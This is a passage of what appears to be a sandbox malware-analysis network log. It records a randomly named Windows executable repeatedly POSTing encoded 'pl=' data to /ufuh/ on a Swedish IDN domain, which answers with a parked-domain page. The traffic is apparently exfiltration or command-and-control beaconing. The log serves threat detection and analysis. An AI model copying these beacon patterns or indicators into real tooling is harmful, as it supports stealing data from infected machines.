May 2, 2024 08:27:38.308695078 CEST	739	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 02 May 2024 06:27:38 GMT Content-Type: text/html Content-Length: 580 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49170	194.9.94.86	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:43.797481060 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2159 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.xn--matfrmn-jxa4m.se Origin: http://www.xn--matfrmn-jxa4m.se Referer: http://www.xn--matfrmn-jxa4m.se/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 45 41 4e 63 46 47 39 32 58 46 4e 61 36 68 55 31 66 55 47 32 30 7a 71 78 71 52 4b 78 76 49 64 53 63 66 73 76 68 48 54 49 4f 46 66 77 69 77 67 37 47 6e 4f 59 62 7a 42 6a 50 62 74 73 5a 62 48 61 58 4b 35 4d 76 74 69 6d 67 4f 65 64 43 70 68 79 7a 42 54 5a 6a 5a 68 64 57 63 62 70 6a 64 59 7a 44 56 63 6f 68 72 77 35 6d 5a 37 59 49 58 67 69 67 4b 4c 2b 55 50 6f 37 47 46 37 7a 67 75 52 36 62 44 64 73 59 64 71 65 79 54 38 45 66 6f 73 61 54 68 6a 65 4c 45 38 31 78 46 78 59 4e 79 78 7a 63 79 68 69 7a 5a 77 31 4a 6c 6b 6a 53 32 78 70 49 6e 76 47 68 48 2f 37 55 57 42 2f 63 33 6b 74 39 7a 67 38 2f 6e 71 73 42 75 56 78 63 66 41 35 58 6d 55 6c 71 31 45 61 56 4d 69 6a 47 2b 54 38 55 43 6f 39 71 4a 5a 64 51 30 5a 57 72 71 6f 41 34 73 2f 31 32 4f 59 62 63 73 6d 48 70 4d 4f 4e 5a 37 54 72 5a 52 67 57 65 45 69 37 71 6a 79 48 77 61 43 2b 6e 7a 70 51 47 57 77 6d 6d 51 67 4b 64 4c 6e 45 4e 4e 6b 32 57 44 70 62 35 67 63 59 6c 4a 76 50 75 38 66 36 44 41 31 59 38 36 7a 31 61 37 68 72 57 4b 65 61 71 4b 52 42 2f 67 67 [TRUNCATED] Data Ascii: pl=EANcFG92XFNa6hU1fUG20zqxqRKxvIdScfsvhHTIOFfwiwg7GnOYbzBjPbtsZbHaXK5MvtimgOedCphyzBTZjZhdWcbpjdYzDVcohrw5mZ7YIXgigKL+UPo7GF7zguR6bDdsYdqeyT8EfosaThjeLE81xFxYNyxzcyhizZw1JlkjS2xpInvGhH/7UWB/c3kt9zg8/nqsBuVxcfA5XmUlq1EaVMijG+T8UCo9qJZdQ0ZWrqoA4s/12OYbcsmHpMONZ7TrZRgWeEi7qjyHwaC+nzpQGWwmmQgKdLnENNk2WDpb5gcYlJvPu8f6DA1Y86z1a7hrWKeaqKRB/ggH1ngkjbmnacjHcRIdhoMMJ9UcsuxAkv+1nlgkVq/iIxTlrj7CSiqxS/Tx1Y2guXjKMaun/W6pMiK9Kh5M6vQ3UDSvifYcVffwjKSM5ViWcnzSdhdipgYGyHG0e1TmQnoRqSDmBMiu/AWbPBAUgN4U5jirDKxvvKp9AJabH8khUGfENgciKOOrn0XgjqGuYv6MHbTrGahZkApWLnj/ZP3cYqGWzPhd3a0ZdBgLWq+JqEdiDzF8MiQ7h/WUGEDuL1gbin2R4lZIowjzjLZZ0x7ZpHL3eTF2eA2fH0MDJ8VrzWRsFT1yWRiMPBl6LS3apgWnsMCMQy9FraggbGR22n/CpjX973vD+rP7hIZ9TlCBD65reY8V+PQ3unF5T7qgxDZXCsGrAyrEyiS3ddcEIbSIGsc5OZwRCG4OlMsJQeGF6C6P1MJrO9ki+bsePp1mLBAi5NErumAtiGO9LLltjhsfBkrwCUgRWr0hdf+3hBNQVKjRmNoPPcHClfzZt1XLtQGGubui4sATmXJSoSCn7G5sRRLnALr4PQ51av2S0+OwLzlIfVckj+xIIgTYzcSBYaKP+RBfp5LMeN9kJT89CH7/lnZN1srKOisczcmPebg8P9e8etgq6gjPlQuCkJBK16uT9ZaCGdZ68umA/dNVi3YxpG9qdhh0TwpiO [TRUNCATED]
May 2, 2024 08:27:43.981257915 CEST	127	OUT	Data Raw: 48 4d 36 58 62 6b 62 6f 61 68 33 63 64 6b 59 58 71 72 74 58 64 58 47 62 2f 76 48 75 57 37 77 70 43 50 47 73 47 57 49 73 63 30 64 49 69 74 69 75 50 37 62 70 65 58 51 55 71 44 78 73 4b 6a 50 74 4f 36 50 41 6f 57 52 55 49 42 6b 51 4e 62 34 4a 42 56 Data Ascii: HM6Xbkboah3cdkYXqrtXdXGb/vHuW7wpCPGsGWIsc0dIitiuP7bpeXQUqDxsKjPtO6PAoWRUIBkQNb4JBVEDY5fEQ26StEYEURAmR4OcYKx4E1KcPf1HxzBwK9Cea31
May 2, 2024 08:27:44.165466070 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 May 2024 06:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.24 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
May 2, 2024 08:27:44.165488005 CEST	1289	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 61 6e 64 20 28 72 65 73 6f 6c 75 74 69 6f 6e 3a 20 33 32 36 64 70 69 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6c 6f 6f 70 69 61 Data Ascii: le-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet
May 2, 2024 08:27:44.165504932 CEST	1289	IN	Data Raw: 20 74 6f 20 76 69 65 77 20 74 68 65 20 64 6f 6d 61 69 6e 20 68 6f 6c 64 65 72 27 73 20 70 75 62 6c 69 63 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 41 72 65 20 79 6f 75 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 Data Ascii: to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_con
May 2, 2024 08:27:44.165586948 CEST	1289	IN	Data Raw: 6c 20 63 6f 6e 74 72 6f 6c 20 6f 66 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 77 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 3c 2f 68 33 3e 0a 09 09 09 3c 70 3e 57 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 Data Ascii: l control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingwe
May 2, 2024 08:27:44.165640116 CEST	661	IN	Data Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72 Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop
May 2, 2024 08:27:44.165678978 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49171	194.9.94.86	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:46.499875069 CEST	744	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 199 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.xn--matfrmn-jxa4m.se Origin: http://www.xn--matfrmn-jxa4m.se Referer: http://www.xn--matfrmn-jxa4m.se/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 45 41 4e 63 46 47 39 32 58 46 4e 61 36 69 73 31 51 6c 47 32 31 54 71 78 36 42 4b 78 6d 6f 64 55 63 66 67 6e 68 44 72 59 4f 32 50 77 69 42 51 37 47 56 57 59 63 7a 42 6b 41 37 74 77 58 37 47 65 58 4b 34 6e 76 73 4f 6d 67 4f 61 64 43 4c 4a 79 31 44 37 47 37 35 68 66 51 63 62 73 6a 64 63 59 44 56 51 65 68 71 59 35 6d 66 62 59 4c 55 59 69 78 59 6a 2b 65 66 6f 48 41 46 37 6b 67 75 4e 56 62 44 4e 30 59 65 75 65 79 6d 41 45 66 5a 4d 61 52 47 33 65 45 6b 38 30 72 31 77 4a 4d 58 55 65 62 79 4a 75 36 36 67 67 47 6d 4a 4f 51 56 5a 71 4f 6e 54 4f 6a 46 36 57 55 44 77 76 61 55 4a 7a 6e 51 3d 3d Data Ascii: pl=EANcFG92XFNa6is1QlG21Tqx6BKxmodUcfgnhDrYO2PwiBQ7GVWYczBkA7twX7GeXK4nvsOmgOadCLJy1D7G75hfQcbsjdcYDVQehqY5mfbYLUYixYj+efoHAF7kguNVbDN0YeueymAEfZMaRG3eEk80r1wJMXUebyJu66ggGmJOQVZqOnTOjF6WUDwvaUJznQ==
May 2, 2024 08:27:46.689835072 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 May 2024 06:27:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.24 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
May 2, 2024 08:27:46.689853907 CEST	1289	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 61 6e 64 20 28 72 65 73 6f 6c 75 74 69 6f 6e 3a 20 33 32 36 64 70 69 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6c 6f 6f 70 69 61 Data Ascii: le-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet
May 2, 2024 08:27:46.689979076 CEST	1289	IN	Data Raw: 20 74 6f 20 76 69 65 77 20 74 68 65 20 64 6f 6d 61 69 6e 20 68 6f 6c 64 65 72 27 73 20 70 75 62 6c 69 63 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 41 72 65 20 79 6f 75 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 Data Ascii: to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_con
May 2, 2024 08:27:46.689992905 CEST	1289	IN	Data Raw: 6c 20 63 6f 6e 74 72 6f 6c 20 6f 66 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 77 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 3c 2f 68 33 3e 0a 09 09 09 3c 70 3e 57 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 Data Ascii: l control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingwe
May 2, 2024 08:27:46.690090895 CEST	661	IN	Data Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72 Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop
May 2, 2024 08:27:46.690222025 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49172	194.9.94.86	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:27:49.213351011 CEST	2578	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3623 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.xn--matfrmn-jxa4m.se Origin: http://www.xn--matfrmn-jxa4m.se Referer: http://www.xn--matfrmn-jxa4m.se/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 45 41 4e 63 46 47 39 32 58 46 4e 61 37 43 38 31 63 6d 2b 32 69 6a 71 79 6d 78 4b 78 76 49 64 51 63 66 73 6e 68 48 54 49 4f 45 6a 77 69 32 55 37 49 58 4f 59 61 7a 42 6b 47 37 74 73 5a 62 48 62 58 4b 74 63 76 74 2b 59 67 4e 71 64 43 73 4e 79 7a 48 62 5a 69 5a 68 64 62 38 62 76 6a 64 64 63 44 56 41 43 68 71 4e 55 6d 62 33 59 4c 43 6b 69 6d 59 6a 39 43 76 6f 48 41 46 37 53 67 75 4d 45 62 44 55 68 59 66 6d 4f 79 56 6f 45 66 34 73 61 58 68 6a 64 43 6b 38 77 6d 56 78 52 4e 79 30 56 63 79 68 6d 7a 5a 30 66 4a 6b 59 6a 54 6b 4a 70 49 6b 33 5a 6b 58 2f 36 4b 6d 42 2f 53 58 6b 72 39 7a 68 39 2f 6e 71 73 42 76 5a 78 4f 2f 41 35 58 6e 55 69 75 31 45 61 4c 63 69 75 59 4f 50 43 55 43 73 54 71 4a 70 6e 51 44 68 57 71 73 63 41 38 63 2f 31 68 75 59 5a 63 73 6d 77 67 73 4f 6e 5a 2f 2b 63 5a 52 51 47 65 45 69 37 71 6b 79 48 30 4a 36 2b 75 44 70 51 45 57 77 72 73 77 67 4a 64 4c 53 6a 4e 4f 34 32 57 43 78 62 2f 44 6f 59 6a 4c 48 49 36 38 66 6e 56 77 31 61 72 71 7a 67 61 37 38 4d 57 4b 57 67 71 4b 68 42 2f 6d 63 [TRUNCATED] Data Ascii: pl=EANcFG92XFNa7C81cm+2ijqymxKxvIdQcfsnhHTIOEjwi2U7IXOYazBkG7tsZbHbXKtcvt+YgNqdCsNyzHbZiZhdb8bvjddcDVAChqNUmb3YLCkimYj9CvoHAF7SguMEbDUhYfmOyVoEf4saXhjdCk8wmVxRNy0VcyhmzZ0fJkYjTkJpIk3ZkX/6KmB/SXkr9zh9/nqsBvZxO/A5XnUiu1EaLciuYOPCUCsTqJpnQDhWqscA8c/1huYZcsmwgsOnZ/+cZRQGeEi7qkyH0J6+uDpQEWwrswgJdLSjNO42WCxb/DoYjLHI68fnVw1arqzga78MWKWgqKhB/mcH3CMkgrmmdcj9XxEJho0iJ9AqstlAk++1kmInN6+rZBTZvj7OSi+PS9bxyp+gvTXKIpGkvm6udyL9dx5m6ssvUCC/hvIcUvfwuJ2P1liTSHyHPhc9pgZ1yDSOfErmQnYRpB7mBMipvQWdBhMmgN8Q5jXuDJpvva59AIabfMkhLGfDHAddKOaRn2Wbj7iuYNiMUJLrRqhXmApbPnjYZLbcYrzJzO5d070ZcggLaK+NgkdtDzENMiUnh+nhGGXuL24bkm2Ri1ZF7gj30bYl0xjJpEfdeW92Mz+fAB4DIcVpxWRsOz1qWVH7PF0YLXTapSunqsCNXy9apagjRmRa2nvCpjb9733D+4X7rbB9MlCDH64vQIAl+PBIumBXT4eg+yZXHaSsYirG3iS5LtcsIbSMGoYXOLoRCUwOpNsKMOGCxi7P4sJhO90c+bpBOeFmLBwi5/sru2AtiGO8LLlpjhhmBgvaCUgRX5chetm3phNVbaj8w9pMPcDklfqyt0vLsFKGubuh8cASq3JVoSOQ7G5CRRHnB5n4NBZ1aJCSkuOwDTlLElclj+wTIkLIzdSBZqqP7TpYmpLRYN8/HzgLCH+ilm9NybLKUQEcysmPBLgzHde1D44u6gvplR+rn9dK1L+T7ayBONZ74umC/dQpi3A5pG0ddih0TQpiI [TRUNCATED]
May 2, 2024 08:27:49.399626970 CEST	1591	OUT	Data Raw: 33 4d 36 54 59 4d 59 73 61 68 78 62 64 6b 65 58 71 72 4a 58 64 50 43 62 2b 79 41 75 54 58 77 70 48 54 47 2b 6d 57 4c 72 73 31 57 4e 69 73 2f 75 50 6e 2b 70 65 66 36 55 72 7a 78 73 4c 2f 50 2f 64 53 50 48 6f 57 52 57 49 42 39 4f 64 61 6f 4e 42 4a Data Ascii: 3M6TYMYsahxbdkeXqrJXdPCb+yAuTXwpHTG+mWLrs1WNis/uPn+pef6UrzxsL/P/dSPHoWRWIB9OdaoNBJDDZwcdli5QKYrFm9VpSN7Y725/k4uSralC3XEzetlRfitUqPjdDXb//ttg9E4DcbquSCpsRGrwG2vIaB5frPVK+styaW5ZNHEijJ1KZ4oHMgWfZ2ecQEZQ8ufrDx2ab/t7vcLeI/U9SHJvaPEPwRWgUukv/ER6qNo
May 2, 2024 08:27:49.586007118 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 02 May 2024 06:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.24 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
